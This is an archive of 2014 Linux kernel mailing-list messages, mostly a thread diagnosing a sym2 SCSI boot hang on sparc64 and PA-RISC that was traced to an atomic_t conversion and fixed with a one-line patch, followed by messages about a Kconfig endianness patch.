	Tue, 19 Aug 2014 16:31:03 -0400
Original-Received: from asavdk3.altibox.net ([109.247.116.14]:54093 "EHLO
	asavdk3.altibox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750808AbaHSUbC (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 19 Aug 2014 16:31:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by asavdk3.altibox.net (Postfix) with ESMTP id 56F0F20022;
	Tue, 19 Aug 2014 22:30:59 +0200 (CEST)
Original-Received: from asavdk3.altibox.net ([127.0.0.1])
	by localhost (asavdk3.lysetele.net [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id o1wDTrZq7gRD; Tue, 19 Aug 2014 22:30:59 +0200 (CEST)
Original-Received: from ravnborg.org (unknown [188.228.89.252])
	(using TLSv1.2 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by asavdk3.altibox.net (Postfix) with ESMTPS id 7300C20020;
	Tue, 19 Aug 2014 22:30:56 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20140819201748.GC4885@drone.musicnaut.iki.fi>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:19472 gmane.linux.scsi:93613 gmane.linux.ports.parisc:5985
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/19472>

On Tue, Aug 19, 2014 at 11:17:48PM +0300, Aaro Koskinen wrote:
> Hi,
> 
> On Tue, Aug 19, 2014 at 09:47:35AM -0500, James Bottomley wrote:
> > On Tue, 2014-08-19 at 17:37 +0300, Meelis Roos wrote:
> > > > On Tue, 2014-08-19 at 14:25 +0300, Meelis Roos wrote:
> > > > > 3.16 scsi worked fine, 3.17-rc1 misbehaves on 3 of my sparc64 test 
> > > > > machines. E220R and E420R are with onboard 5c3875, V210 is with onboarc 
> > > > > 53c1010 and all behave the same. Any ideas whre to dig deeper? bisection 
> > > > > might be nontrivial, because of sparc64 changes that are OK on 3.17-rc1 
> > > > > again - but is possible if nothing else helps.
> > > > 
> > > > We've got a parisc with an 875 as a root SCSI bus ... I haven't got
> > > > around to building for it yet, but I might find time to try today.
> > > 
> > > Same on parisc:
> > > 
> > > sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
> > > sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
> > > sym0: SCSI BUS has been reset.
> > > scsi host0: sym-2.2.3
> > > random: nonblocking pool is initialized
> > > 
> > > and hangs here. So hopefully it is reproducible for you.
> > 
> > And also independent of the sparc changes.  The only other change in the
> > window you quote is 64 bit luns.
> 
> Bisection (on PA-RISC) points to:
> 
> 71e75c97f97a9645d25fbf3d8e4165a558f18747 is the first bad commit
> commit 71e75c97f97a9645d25fbf3d8e4165a558f18747
> Author: Christoph Hellwig <hch@lst.de>
> Date:   Fri Apr 11 19:07:01 2014 +0200
> 
>     scsi: convert device_busy to atomic_t

I guess you need this fix:

diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
index 9c44392..ce62e87 100644
--- a/drivers/scsi/scsi_lib.c
+++ b/drivers/scsi/scsi_lib.c
@@ -1774,7 +1774,7 @@ static void scsi_request_fn(struct request_queue *q)
 	blk_requeue_request(q, req);
 	atomic_dec(&sdev->device_busy);
 out_delay:
-	if (atomic_read(&sdev->device_busy) && !scsi_device_blocked(sdev))
+	if (!atomic_read(&sdev->device_busy) && !scsi_device_blocked(sdev))
 		blk_delay_queue(q, SCSI_QUEUE_DELAY);
 }


James already sent it to Linus.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: Sym2 scsi hang on boot on sparc64
Date: Tue, 19 Aug 2014 15:37:18 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <1408480638.4424.0.camel@jarvis>
References: <alpine.SOC.1.00.1408191420150.4929@math.ut.ee>
	 <1408451668.2645.2.camel@jarvis>
	 <alpine.SOC.1.00.1408191736190.7767@math.ut.ee>
	 <1408459655.3491.1.camel@jarvis>
	 <20140819201748.GC4885@drone.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408480650 843 80.91.229.3 (19 Aug 2014 20:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2014 20:37:30 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-scsi@vger.kernel.org,
	sparclinux@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 19 22:37:23 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1XJq9i-0001ln-Gn
	for lnx-sparclinux@plane.gmane.org; Tue, 19 Aug 2014 22:37:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751537AbaHSUhV (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 19 Aug 2014 16:37:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37327 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750979AbaHSUhU (ORCPT
	<rfc822;sparclinux@vger.kernel.org>);
	Tue, 19 Aug 2014 16:37:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DD8A58EE192;
	Tue, 19 Aug 2014 13:37:19 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id H8kGQRr-lpkg; Tue, 19 Aug 2014 13:37:19 -0700 (PDT)
Original-Received: from [216.80.65.72] (sheratonips73.s.subnet.rcn.com [216.80.65.72])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1D6C18EE0A9;
	Tue, 19 Aug 2014 13:37:19 -0700 (PDT)
In-Reply-To: <20140819201748.GC4885@drone.musicnaut.iki.fi>
X-Mailer: Evolution 3.10.2 
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:19473 gmane.linux.scsi:93614 gmane.linux.ports.parisc:5986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/19473>

On Tue, 2014-08-19 at 23:17 +0300, Aaro Koskinen wrote:
> Hi,
> 
> On Tue, Aug 19, 2014 at 09:47:35AM -0500, James Bottomley wrote:
> > On Tue, 2014-08-19 at 17:37 +0300, Meelis Roos wrote:
> > > > On Tue, 2014-08-19 at 14:25 +0300, Meelis Roos wrote:
> > > > > 3.16 scsi worked fine, 3.17-rc1 misbehaves on 3 of my sparc64 test 
> > > > > machines. E220R and E420R are with onboard 5c3875, V210 is with onboarc 
> > > > > 53c1010 and all behave the same. Any ideas whre to dig deeper? bisection 
> > > > > might be nontrivial, because of sparc64 changes that are OK on 3.17-rc1 
> > > > > again - but is possible if nothing else helps.
> > > > 
> > > > We've got a parisc with an 875 as a root SCSI bus ... I haven't got
> > > > around to building for it yet, but I might find time to try today.
> > > 
> > > Same on parisc:
> > > 
> > > sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
> > > sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
> > > sym0: SCSI BUS has been reset.
> > > scsi host0: sym-2.2.3
> > > random: nonblocking pool is initialized
> > > 
> > > and hangs here. So hopefully it is reproducible for you.
> > 
> > And also independent of the sparc changes.  The only other change in the
> > window you quote is 64 bit luns.
> 
> Bisection (on PA-RISC) points to:
> 
> 71e75c97f97a9645d25fbf3d8e4165a558f18747 is the first bad commit
> commit 71e75c97f97a9645d25fbf3d8e4165a558f18747
> Author: Christoph Hellwig <hch@lst.de>
> Date:   Fri Apr 11 19:07:01 2014 +0200
> 
>     scsi: convert device_busy to atomic_t

That's fixed upstream:

commit 480cadc2b7e0fa2bbab20141efb547dfe0c3707c
Author: Guenter Roeck <linux@roeck-us.net>
Date:   Sun Aug 10 05:54:25 2014 -0700

    scsi: Fix qemu boot hang problem

Could you try with a kernel that has that fix?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: Sym2 scsi hang on boot on sparc64
Date: Tue, 19 Aug 2014 23:48:43 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <20140819204843.GD4885@drone.musicnaut.iki.fi>
References: <alpine.SOC.1.00.1408191420150.4929@math.ut.ee>
 <1408451668.2645.2.camel@jarvis>
 <alpine.SOC.1.00.1408191736190.7767@math.ut.ee>
 <1408459655.3491.1.camel@jarvis>
 <20140819201748.GC4885@drone.musicnaut.iki.fi>
 <1408480638.4424.0.camel@jarvis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1408481342 8850 80.91.229.3 (19 Aug 2014 20:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2014 20:49:02 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-scsi@vger.kernel.org,
	sparclinux@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 19 22:48:54 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1XJqKs-0007cI-3d
	for lnx-sparclinux@plane.gmane.org; Tue, 19 Aug 2014 22:48:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751208AbaHSUsw (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 19 Aug 2014 16:48:52 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:53750 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750861AbaHSUsw (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 19 Aug 2014 16:48:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id AAF375A6DE4;
	Tue, 19 Aug 2014 23:48:43 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id C7wZcjXnSJBi; Tue, 19 Aug 2014 23:48:37 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id 92FE65BC004;
	Tue, 19 Aug 2014 23:48:43 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1408480638.4424.0.camel@jarvis>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:19474 gmane.linux.scsi:93615 gmane.linux.ports.parisc:5987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/19474>

Hi,

On Tue, Aug 19, 2014 at 03:37:18PM -0500, James Bottomley wrote:
> On Tue, 2014-08-19 at 23:17 +0300, Aaro Koskinen wrote:
> > Bisection (on PA-RISC) points to:
> > 
> > 71e75c97f97a9645d25fbf3d8e4165a558f18747 is the first bad commit
> > commit 71e75c97f97a9645d25fbf3d8e4165a558f18747
> > Author: Christoph Hellwig <hch@lst.de>
> > Date:   Fri Apr 11 19:07:01 2014 +0200
> > 
> >     scsi: convert device_busy to atomic_t
> 
> That's fixed upstream:
> 
> commit 480cadc2b7e0fa2bbab20141efb547dfe0c3707c
> Author: Guenter Roeck <linux@roeck-us.net>
> Date:   Sun Aug 10 05:54:25 2014 -0700
> 
>     scsi: Fix qemu boot hang problem
> 
> Could you try with a kernel that has that fix?

Yes, the box boots now fine with the fix.

Thanks,

A.
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: Sym2 scsi hang on boot on sparc64
Date: Wed, 20 Aug 2014 15:14:34 +0300 (EEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1408201513520.57@math.ut.ee>
References: <alpine.SOC.1.00.1408191420150.4929@math.ut.ee>  <1408451668.2645.2.camel@jarvis>  <alpine.SOC.1.00.1408191736190.7767@math.ut.ee>  <1408459655.3491.1.camel@jarvis>  <20140819201748.GC4885@drone.musicnaut.iki.fi>
 <1408480638.4424.0.camel@jarvis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1408537754 2056 80.91.229.3 (20 Aug 2014 12:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Aug 2014 12:29:14 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-scsi@vger.kernel.org,
	sparclinux@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 20 14:29:06 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1XK50O-0008Ho-TT
	for lnx-sparclinux@plane.gmane.org; Wed, 20 Aug 2014 14:28:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754733AbaHTMPq (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 20 Aug 2014 08:15:46 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:50262 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753787AbaHTMPo (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Wed, 20 Aug 2014 08:15:44 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id E63CB90133;
	Wed, 20 Aug 2014 15:15:40 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 4C15D427978; Wed, 20 Aug 2014 15:14:34 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 402D2427977;
	Wed, 20 Aug 2014 15:14:34 +0300 (EEST)
In-Reply-To: <1408480638.4424.0.camel@jarvis>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:19481 gmane.linux.scsi:93620 gmane.linux.ports.parisc:5988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/19481>

> > Bisection (on PA-RISC) points to:
> > 
> > 71e75c97f97a9645d25fbf3d8e4165a558f18747 is the first bad commit
> > commit 71e75c97f97a9645d25fbf3d8e4165a558f18747
> > Author: Christoph Hellwig <hch@lst.de>
> > Date:   Fri Apr 11 19:07:01 2014 +0200
> > 
> >     scsi: convert device_busy to atomic_t
> 
> That's fixed upstream:
> 
> commit 480cadc2b7e0fa2bbab20141efb547dfe0c3707c

Yes, works for both sparc64 and parisc.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Sun, 24 Aug 2014 16:38:39 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <53F9A48F.3020803@gmail.com>
References: <53ECE9DD.80004@gmail.com> <20140814180418.GA20777@linux-mips.org> <53ED34CE.3040001@gmail.com> <53EDCC60.5040608@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408869284 1321 80.91.229.3 (24 Aug 2014 08:34:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2014 08:34:44 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
	rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
	vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
	Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
	catalin.marinas@arm.com, will.deacon@arm.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
	jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
	tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
	james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
	yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
	jejb@parisc-linux.org, deller@gmx.de,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	paulus@samba.org, mpe@ellerman.id.au,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	heiko.carstens@de.ibm.com, Liqin Chen <liqin.linux@gmail
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Sun Aug 24 10:34:28 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XLTFq-0005bY-Nf
	for glpm-linux-m68k@plane.gmane.org; Sun, 24 Aug 2014 10:34:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752316AbaHXIe0 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sun, 24 Aug 2014 04:34:26 -0400
Original-Received: from mail-pa0-f48.google.com ([209.85.220.48]:48808 "EHLO
	mail-pa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751946AbaHXIeW (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Sun, 24 Aug 2014 04:34:22 -0400
Original-Received: by mail-pa0-f48.google.com with SMTP id et14so18764874pad.21
        for <multiple recipients>; Sun, 24 Aug 2014 01:34:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=T3T9xMS3YqF593Wd/rHQcQ++R98RQfRYlTFjQ8gQ42Q=;
        b=kgfTltaLRYV79LO112bq/RX//s+HEWhBHR8weNKhBI7gNkvHjNLXrbOn4FVCbnMAzI
         fkDz58bJPkPr1sr+UTOzHi7LrXztajMOdRjnNfsIdZMa0YoaTrJmfUaH33bpfk/SCH4g
         R25lKFcw5KSJSutKefgmQh1NLzuawWJkTiSZHQtjsDaHnsCaGalG5dxzal7DSOqN66G8
         GmxQnex5dNak/e+uRvQQP+iNiTKHVw6cUsDwU6eyWTo35E5qLgGiSINlJ6zd8T4TxP+7
         MZ0yMHc5yz8CfXIez+T4F0pIU7Z2/4gKaQq9y7EfWwWXH/IPmf4aK7Mng3koUk/mLLj8
         z8KA==
X-Received: by 10.70.132.162 with SMTP id ov2mr9066188pdb.118.1408869261613;
        Sun, 24 Aug 2014 01:34:21 -0700 (PDT)
Original-Received: from [192.168.2.114] ([124.127.118.42])
        by mx.google.com with ESMTPSA id d13sm33843458pbu.72.2014.08.24.01.33.42
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 24 Aug 2014 01:34:20 -0700 (PDT)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <53EDCC60.5040608@gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6094 gmane.linux.ports.alpha:2359 gmane.linux.kernel:1773313 gmane.linux.ports.arm.kernel:350549 gmane.linux.ports.hexagon:765 gmane.linux.ports.ia64:24141 gmane.linux.kernel.metag:256 gmane.linux.ports.mips.general:43343 gmane.linux.ports.openrisc:523 gmane.linux.ports.parisc:5990 gmane.linux.ports.ppc64.devel:104555 gmane.linux.ports.sparc:19499 gmane.linux.uml.devel:14572 gmane.linux.uml.user:14714 gmane.linux.ports.sh.devel:38387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6094>

Hello Maintainers:

Is this patch OK? If it pass basic checking, please let me know, and I
shall try to make another related patch for KBuild (I can do nothing
related with Kbuild, before get confirmation for this patch).

Thanks.

On 8/15/14 17:01, Chen Gang wrote:
> 
> 
> On 8/15/14 6:14, Chen Gang wrote:
>> On 08/15/2014 02:04 AM, Ralf Baechle wrote:
>>>
>>
>> OK, thanks, I assumes when support both endian, the default choice is
>> CPU_BIG_ENDIAN, although no default value for choice (originally, I did
>> worry about it).
>>
>>> So I think you can just drop the MIPS segment from your patch.
>>>
>>
>> If what I assumes is correct, what you said sounds reasonable to me.
>>
>>
> 
> So for me, it is harmless to add CPU_*_ENDIAN explicitly, and can let
> other members don't need think of.
> 
> By the way, for sh, it is almost the same case, except it contents the
> default value, for me, it is clear enough, so I skip sh architecture in
> this patch.
> 
> 
> Thanks
> 

-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed

From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Mon, 25 Aug 2014 20:26:31 +0800
Lines: 71
Approved: news@gmane.org
Message-ID: <53FB2B77.8070606@gmail.com>
References: <53ECE9DD.80004@gmail.com> <20140814180418.GA20777@linux-mips.org> <53ED34CE.3040001@gmail.com> <53EDCC60.5040608@gmail.com> <53F9A48F.3020803@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408969668 13541 80.91.229.3 (25 Aug 2014 12:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Aug 2014 12:27:48 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
        rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
        jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
        tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
        james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
        yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
        jejb@parisc-linux.org, deller@gmx.de,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        paulus@samba.org, mpe@ellerman.id.au,
        Mart
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Aug 25 14:27:31 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XLtMx-0000GY-L0
	for sgi-linux-mips@gmane.org; Mon, 25 Aug 2014 14:27:31 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52049 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27006719AbaHYM12Ag0wT (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Aug 2014 14:27:28 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Aug 2014 14:27:14 +0200 (CEST)
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:32839 "EHLO
        mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27006709AbaHYM1M6HTlP (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 25 Aug 2014 14:27:12 +0200
Original-Received: by mail-pa0-f45.google.com with SMTP id eu11so20953756pac.4
        for <multiple recipients>; Mon, 25 Aug 2014 05:27:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=GQ5QHWpAfHOi1hi/YgRiyZDF/ALDEuRpuJ84ukra6RQ=;
        b=V+hgbNP2nsfJDrU4AXMNY7fQZtxVX5KK29Us+7dzpNhyHfivVktMG7PJC6cJyIppim
